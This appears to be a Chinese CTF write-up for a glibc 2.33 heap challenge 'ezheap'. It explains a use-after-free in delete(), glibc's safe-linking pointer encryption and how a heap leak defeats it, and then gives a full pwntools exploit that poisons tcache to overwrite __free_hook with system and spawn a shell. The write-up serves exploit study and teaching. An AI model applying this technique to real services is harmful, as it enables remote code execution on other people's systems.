更换 glibc 题目附件中包含有 glibc 2.33 没有符号表,习惯使用 glibc all in one 带符号表的,patchelf 更换程序链接的 glibc
1 patchelf --set-interpreter /glibc/2.33/amd64/lib/ld-2.33.so --replace-needed libc.so.6 /glibc/2.33/amd64/lib/libc-2.33.so ezheap
程序漏洞 堆块及其大小用两个全局列表维护,释放堆块时仅清空 size_list,地址信息依然留在全局列表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int delete () { _DWORD *v0; int v2; printf ("Index: " ); v2 = get_num(); if ( chunk_list[v2] && v2 >= 0 && v2 <= 15 ) { free ((void *)chunk_list[v2]); v0 = size_list; size_list[v2] = 0 ; } else { LODWORD(v0) = puts ("Invalid Index!" ); } return (int )v0; }
利用思路 题目是 glibc 2.33 UAF ,与前面低版本的 glibc 一样利用 unsortedbin 泄露 libc 地址,tcachebin 攻击获取权限
glibc2.32 以上新变化 glibc2.32 以上版本引入了新的防护机制:safe-linking
作用范围:tcache、fastbin(largebin\smallbin 的 fd_next\bk_next 是否影响没测)
影响效果:fd 指针处地址随机化
源码分析
/glibc-2.32/malloc/malloc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t ) pos) >> 12 ) ^ ((size_t ) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
个人感觉源码宏定义太多,这里从汇编来看怎么加密解密容易一点
汇编分析 1 2 3 4 5 6 7 8 9 10 0x7ffff7e840c8 <_int_free+664> lea rdx, [rsi + rdx*8] // 0x7ffff7e840cc <_int_free+668> mov rax, r9 //被释放堆块的fd地址存入rax 0x7ffff7e840cf <_int_free+671> add ecx, 1 //tcache对应bin数量增加 0x7ffff7e840d2 <_int_free+674> mov qword ptr [r12 + 0x18], rsi //r12存储是被释放堆块header地址 //往被释放堆块bk位置写入key,防止double free 0x7ffff7e840d7 <_int_free+679> shr rax, 0xc //被释放堆块的fd地址右移12位(safe-linking加密过程) 0x7ffff7e840db <_int_free+683> xor rax, qword ptr [rdx + 0x80] //与tcache结构体中存储的相同大小的堆地址进行异或(safe-linking加密过程) 0x7ffff7e840e2 <_int_free+690> mov qword ptr [r12 + 0x10], rax //往被释放堆块fd位置写入加密后的地址 0x7ffff7e840e7 <_int_free+695> mov qword ptr [rdx + 0x80], r9 //更新tcache结构体中存储的链表头部堆地址 0x7ffff7e840ee <_int_free+702> mov word ptr [rdi], cx //更新tcacehbin的数量
通过分析汇编操作可以总结出加密公式
加密公式 公式表达:p->fd = ((&p->fd)>>12) ^ REVEAL_PTR(p->fd)
通俗表达:被释放堆块fd=(被释放堆块fd所在地址>>12)^被释放堆块的前一个堆块fd所在地址
Bypass
这里绕过说法应该有问题,需要是攻击freehook那个堆块和秘钥的那个堆地址是同一页,否则可能会出问题
绕过就是需要泄露堆地址,因为堆地址 >>12 就是秘钥。
当第一个堆块放入 tcachebin 时加密公式:p->fd = ((&p->fd)>>12) ^ 0
。前一个堆块不存在地址为 0 ,从而泄露出除最低三位的堆地址。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import *import syslocal = 1 binary = "./ezheap" local_libc = "/glibc/2.33/amd64/lib/libc-2.33.so" ip = "192.168.40.10" port = 29538 remote_libc = "./libc-2.33.so" def main (ip=ip,port=port ): global p,elf,libc elf = ELF(binary) if local: context.log_level = "debug" p=process(binary) libc = ELF(local_libc) pwn() else : p=remote(ip,port) libc=ELF(remote_libc) pwn() def add (size,con ): p.sendlineafter(">> " ,'1' ) p.sendlineafter("Size: " ,str (size)) p.sendlineafter("Content: " ,con) def edit (idx,con ): p.sendlineafter(">> " ,'2' ) p.sendlineafter("Index: " ,str (idx)) p.sendafter("Content: " ,con) def show (idx ): p.sendlineafter(">> " ,'4' ) p.sendlineafter("Index: " ,str (idx)) def delete (idx ): p.sendlineafter(">> " ,'3' ) p.sendlineafter("Index: " ,str (idx)) def pwn (): for _ in range (9 ): add(0x80 ,'/bin/sh\x00\x00' *2 ) delete(0 ) show(0 ) heap_base = u64(p.recv(8 ))<<12 print "heap_base:" ,hex (heap_base) for i in range (1 ,8 ): delete(i) show(7 ) main_arena = u64(p.recv(8 ))-96 print "main_arena:" ,hex (main_arena) libc_base = main_arena - libc.sym['main_arena' ] print "libc_base:" ,hex (libc_base) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] add(0x80 ,'b' *0x10 ) delete(6 ) payload = p64((heap_base>>12 )^free_hook) edit(9 ,payload+'\n' ) add(0x80 ,'skye' ) add(0x80 ,p64(system)) delete(8 ) p.interactive() def cat_flag (): global flag p.recv() p.sendline("cat flag" ) flag = p.recvuntil('\n' ,drop=True ).strip() def debug (p,content='' ): if local: gdb.attach(p,content) raw_input() if __name__ == "__main__" : if (len (sys.argv)==3 ): ip = sys.argv[1 ] port = sys.argv[2 ] main()